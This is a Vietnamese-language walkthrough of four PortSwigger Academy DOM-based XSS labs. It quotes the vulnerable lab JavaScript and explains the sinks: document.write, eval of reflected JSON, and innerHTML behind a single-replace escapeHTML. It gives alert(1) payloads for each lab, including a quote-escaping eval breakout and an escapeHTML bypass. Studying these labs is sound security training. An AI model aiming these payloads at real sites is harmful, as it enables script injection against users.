**Bài 1: DOM XSS in document.write sink using source location.search**

Khi chúng ta tìm kiếm 1, ứng dụng phản hồi sau:

<h1>2 search results for '1'</h1>

Rất có thể là reflected xss trong bối cảnh giữa các thẻ html.

Vì đây là xss dom nên mình sẽ không tiêm vào thẻ trên. Mình phát hiện có 1 hàm javascript sau:

<script>

function trackSearch(query) {

document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');

}

var query = (new URLSearchParams(window.location.search)).get('search');

if(query) {

trackSearch(query);

}

</script>

Đây là hàm theo dõi tìm kiếm.

Url là: https://0a6e006a043d6b30c1e0164200a200a3.web-security-academy.net/?search=1

Biến query là giá trị của tham số search trong chuỗi truy vấn và bằng 1. Gán nó vào hàm trackSearch.

Hàm trackSearch sẽ viết dữ liệu ra ngoài trang:

<img src="/resources/images/tracker.gif?searchTerms=1”>

Chuột phải và phân tích thẻ,quan sát thấy 1 nằm trong thuộc tính src

Ở đây source sẽ là location.search, chúng ta có thể kiểm soát url.

Còn sink sẽ là document.write

Để thực thi được Javascript, mình phải đóng thẻ img:

Payload: “><script>alert(1)</script>

document.write sẽ viết dữ liệu sau:

<img src="/resources/images/tracker.gif?searchTerms=“>

<script>alert(1)</script>”>

# Bài 2: DOM XSS in document.write sink using source location.search inside a select element

# Bài này sẽ có lỗ hổng XSS Dom based trong chức năng kiểm tra kho hàng. Nó dùng chức năng document.write, viết dữ liệu ra trang.

# Hàm document.write lấy tham số là location.search mà bạn có thể kiểm soát url của website. Dữ liệu nằm trong thẻ select.

# Để giải được bài này, thực hiện tấn công XSS để thoát khỏi thẻ select và gọi hàm alert.

# Khi mình kiểm tra kho hàng, ứng dụng phản hồi sau:

# <script>

# var stores = ["London","Paris","Milan"];

# var store = (newURLSearchParams(window.location.search)).get('storeId');

# document.write('<select name="storeId">');

# if(store) {

# document.write('<option selected>'+store+'</option>');

# }

# for(var i=0;i<stores.length;i++) {

# if(stores[i] === store) {

# continue;

# }

# document.write('<option>'+stores[i]+'</option>');

# }

# document.write('</select>');

# </script>

# Mình phải yêu cầu ứng dụng bằng ph thức Get có tham số storeId:

# Get: /product?productId=1&storeId=Paris

# Khi đó mình tìm kiếm dữ liệu trong Dom bằng inspector. Nó sẽ hiện ra như sau:

# <select name=”storeId”>

# <option selected=””>Paris</option>

# <option>London</option>

# <option>Milan</option>

# </select>

# Dữ liệu mà mình kiểm soát được là biến storeId. Phải làm sao để thực thi được alert ngay trong thẻ select?

# Payload: /product?productId=1&storeId=Paris<script>alert(1)</script>

# 🡪 Tấn công XSS thành công.

# Bài 3: Reflected DOM XSS:

# Khi bạn tìm kiếm 1, ứng dụng sẽ gửi đi yêu cầu Get /?search=1

# Điểm chú ý là : <script>search(‘search-results’)</script>

# Nó giống như 1 cái hàm.

# Khi đó ứng dụng sẽ phản hồi 1 file Json: /search-results?search=1

|  |  |
| --- | --- |
| results |  |
| 0: |  |
| id: | 2 |
| title: | "Passwords" |
| image: | "blog/posts/17.jpg" |
| summary: | "There are three types of password users in the world; those who remember them, those who don't, and those who write them down." |
| 1 |  |
| id: | 1 |
| title: | "Lies, Lies & More Lies" |
| image: | "blog/posts/13.jpg" |
| summary: | "I remember the first time I told a lie. That's not to say I didn't do it before then, I just don't remember. I was nine years old and at my third school already. Fitting into already established friendship groups..." |
| searchTerm | :"1" |

# Đoạn mã trong trang sẽ xử lí dữ liệu được phản ánh này:

function search(path) {

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

eval('var searchResultsObj = ' + this.responseText);

displaySearchResults(searchResultsObj);

}

};

xhr.open("GET", path + window.location.search);

xhr.send();

function displaySearchResults(searchResultsObj) {

var blogHeader = document.getElementsByClassName("blog-header")[0];

var blogList = document.getElementsByClassName("blog-list")[0];

var searchTerm = searchResultsObj.searchTerm

var searchResults = searchResultsObj.results

var h1 = document.createElement("h1");

h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";

blogHeader.appendChild(h1);

var hr = document.createElement("hr");

blogHeader.appendChild(hr)

for (var i = 0; i < searchResults.length; ++i)

{

var searchResult = searchResults[i];

if (searchResult.id) {

var blogLink = document.createElement("a");

blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

if (searchResult.headerImage) {

var headerImage = document.createElement("img");

headerImage.setAttribute("src", "/image/" + searchResult.headerImage);

blogLink.appendChild(headerImage);

}

blogList.appendChild(blogLink);

}

blogList.innerHTML += "<br/>";

if (searchResult.title) {

var title = document.createElement("h2");

title.innerText = searchResult.title;

blogList.appendChild(title);

}

if (searchResult.summary) {

var summary = document.createElement("p");

summary.innerText = searchResult.summary;

blogList.appendChild(summary);

}

if (searchResult.id) {

var viewPostButton = document.createElement("a");

viewPostButton.setAttribute("class", "button is-small");

viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);

viewPostButton.innerText = "View post";

}

}

var linkback = document.createElement("div");

linkback.setAttribute("class", "is-linkback");

var backToBlog = document.createElement("a");

backToBlog.setAttribute("href", "/");

backToBlog.innerText = "Back to Blog";

linkback.appendChild(backToBlog);

blogList.appendChild(linkback);

}

}

# File script dùng 1 sink rất độc hại là eval().

# eval(string)

|  |  |
| --- | --- |
| Parameter | Descripttion |
| string | A Javascript expression, variable, statement hoặc sequence of statements |

# Điểm chúng ta cần chú ý là searchTerm vì đây là dữ liệu duy nhất chúng ta kiểm soát được.

# Nghiên cứu file script nha:

# searchResultsObj là file Json có 2 thuộc tính là results và searchTerm

# Bằng cách thử nhiều chuỗi, bạn có thể thấy phản hồi Json escape quotation marks (dấu “) nhưng dấu “\” vẫn được.

# "searchTerm":"\""

# Làm sao để thực thi code Javascript bằng eval được?

# file Json:

# {"results":[],

# "searchTerm":"\\”-alert(1)}//"}

eval('var searchResultsObj = '+{"results":[],"searchTerm":"\\"-alert(1)})//"}

# Bài 4: Stored DOM XSS

# Bài này có lỗ hổng Dom trong chức năng bình luận.

# Khi mình gửi yêu cầu, ứng dụng sẽ xử lí và lưu trữ nó. Ở những phản hồi tiếp theo, dữ liệu từ máy chủ sẽ đc Javascript xử lí.

# Mình gửi đi yêu cầu sau: /post?postId=7: <script>loadComments('/post/comment')</script>

# Nó trả về 1 file Json từ máy chủ, url: /post/comment?postId=7:

|  |  |
| --- | --- |
|  |  |
| {avatar: | "" |
| website | :"<https://portswigger.net/>" |
| date: | "2022-11-24T03:45:06.594207382Z" |
| body: | "a" |
| author: | "<img src=1 onerror=alert(1)>"} |

# Đoạn code Javascript:

function loadComments(postCommentPath) {

let xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

let comments = JSON.parse(this.responseText);

displayComments(comments);

}

};

xhr.open("GET", postCommentPath + window.location.search);

xhr.send();

function escapeHTML(html) {

return html.replace('<', '&lt;').replace('>', '&gt;');

}

function displayComments(comments) {

let userComments = document.getElementById("user-comments");

for (let i = 0; i < comments.length; ++i)

{

comment = comments[i];

let commentSection = document.createElement("section");

commentSection.setAttribute("class", "comment");

let firstPElement = document.createElement("p");

let avatarImgElement = document.createElement("img");

avatarImgElement.setAttribute("class", "avatar");

avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

if (comment.author) {

if (comment.website) {

let websiteElement = document.createElement("a");

websiteElement.setAttribute("id", "author");

websiteElement.setAttribute("href", comment.website);

firstPElement.appendChild(websiteElement)

}

let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)

firstPElement.innerHTML = newInnerHtml

}

if (comment.date) {

let dateObj = new Date(comment.date)

let month = '' + (dateObj.getMonth() + 1);

let day = '' + dateObj.getDate();

let year = dateObj.getFullYear();

if (month.length < 2)

month = '0' + month;

if (day.length < 2)

day = '0' + day;

dateStr = [day, month, year].join('-');

let newInnerHtml = firstPElement.innerHTML + " | " + dateStr

firstPElement.innerHTML = newInnerHtml

}

firstPElement.appendChild(avatarImgElement);

commentSection.appendChild(firstPElement);

if (comment.body) {

let commentBodyPElement = document.createElement("p");

commentBodyPElement.innerHTML = escapeHTML(comment.body);

commentSection.appendChild(commentBodyPElement);

}

commentSection.appendChild(document.createElement("p"));

userComments.appendChild(commentSection);

}

}

};

Cùng phân tích code nào:

Sink nguy hiểm ở đây là innerHTML. Nó nhận đầu vào là commenr.author

Nếu mình dùng payload sau:

<img src=1 onerror=alert(1)>

Đáng lý là đã alert thành công nhưng vì ứng dụng đã dùng hàm escapeHTML để mã hóa HTML các kí tự <,>

Nhưng may mắn thay, nó chỉ thay thế 1 lần nên:

<><img src=1 onerror=alert(1)>

**🡪Bypass thành công**

Đây là code mình đã mô phỏng lại, perfect:

<body>

<p>

<a id="author" href="">abc</a>

</p>

<script>

function escapeHTML(html) {

return html.replace('<', '&lt;').replace('>', '&gt;');

}

var a=JSON.parse('"<><img src=1 onerror=alert(1)>"')

var firstElement=document.querySelector('p')

var newInner=firstElement.innerHTML+escapeHTML(a)

console.log(newInner)

firstElement.innerHTML=newInner

</script>

</body>